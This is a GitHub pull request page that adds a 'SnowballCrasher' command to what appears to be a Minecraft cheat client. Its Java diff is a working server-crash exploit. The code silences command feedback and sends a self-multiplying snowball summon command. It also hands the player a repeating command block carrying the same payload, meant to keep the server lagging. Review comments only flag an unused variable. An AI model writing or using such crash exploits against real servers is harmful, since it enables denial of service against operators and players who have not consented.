-
Notifications
You must be signed in to change notification settings - Fork 53
Added SnowballCrasher commandBlock exploit #101
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,60 @@ | ||
| package coffee.client.feature.command.impl; | ||
|
|
||
| import coffee.client.CoffeeMain; | ||
| import coffee.client.feature.command.Command; | ||
| import coffee.client.feature.command.argument.PlayerFromNameArgumentParser; | ||
| import coffee.client.feature.command.coloring.ArgumentType; | ||
| import coffee.client.feature.command.coloring.PossibleArgument; | ||
| import coffee.client.feature.command.coloring.StaticArgumentServer; | ||
| import coffee.client.feature.command.exception.CommandException; | ||
| import net.minecraft.entity.player.PlayerEntity; | ||
| import net.minecraft.item.ItemStack; | ||
| import net.minecraft.item.Items; | ||
| import net.minecraft.nbt.StringNbtReader; | ||
| import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; | ||
|
|
||
| import java.util.Objects; | ||
|
|
||
| import static coffee.client.CoffeeMain.client; | ||
| import static coffee.client.helper.util.Utils.Logging.message; | ||
|
|
||
| public class SnowballCrasher extends Command { | ||
|
|
||
| public SnowballCrasher() { | ||
| super("SnowballCrasher", "Crash the server by placing a command block that crashes the server when a snowball is thrown", "crash", "snowballcrasher"); | ||
| } | ||
|
|
||
| @Override | ||
| public PossibleArgument getSuggestionsWithType(int index, String[] args) { | ||
| return StaticArgumentServer.serveFromStatic( | ||
| index, | ||
| new PossibleArgument( | ||
| ArgumentType.PLAYER, | ||
| () -> Objects.requireNonNull(client.world) | ||
| .getPlayers() | ||
| .stream() | ||
| .map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName()) | ||
| .toList() | ||
| .toArray(String[]::new) | ||
| ) | ||
| ); | ||
| } | ||
|
|
||
| @Override | ||
| public void onExecute(String[] args) throws CommandException { | ||
| validateArgumentsLength(args, 1, "Provide target player"); | ||
| PlayerEntity target = new PlayerFromNameArgumentParser(true).parse(args[0]); | ||
| String targetName = " "; | ||
|
Comment on lines
+45
to
+47
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. isn't used There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Hi, I have two feature requests: 1.Could you add caching to the ClickGUI? Right now, when I change the GUI layout and re-open the game, it resets. It would be great if the layout could be saved. 2.Could you add a reverse build option to AutoLavacast? That would make building a lot easier. |
||
| client.getNetworkHandler().sendCommand("gamerule sendCommandFeedback false"); | ||
| client.getNetworkHandler().sendCommand("execute at @e[type=snowball] run summon minecraft:snowball ~ ~ ~"); | ||
| ItemStack stack = new ItemStack(Items.REPEATING_COMMAND_BLOCK, 1); | ||
| try { | ||
| stack.setNbt(StringNbtReader.parse( | ||
| "{BlockEntityTag:{Command:\"/execute at @e[type=snowball] run summon minecraft:snowball ~ ~ ~\",powered:0b,auto:1b,conditionMet:1b}}")); | ||
| } catch (Exception e) { | ||
| e.printStackTrace(); | ||
| } | ||
| client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, stack)); | ||
| message("Place the command block to keep lagging the server when a snowball is thrown"); | ||
| } | ||
| } | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
isn't used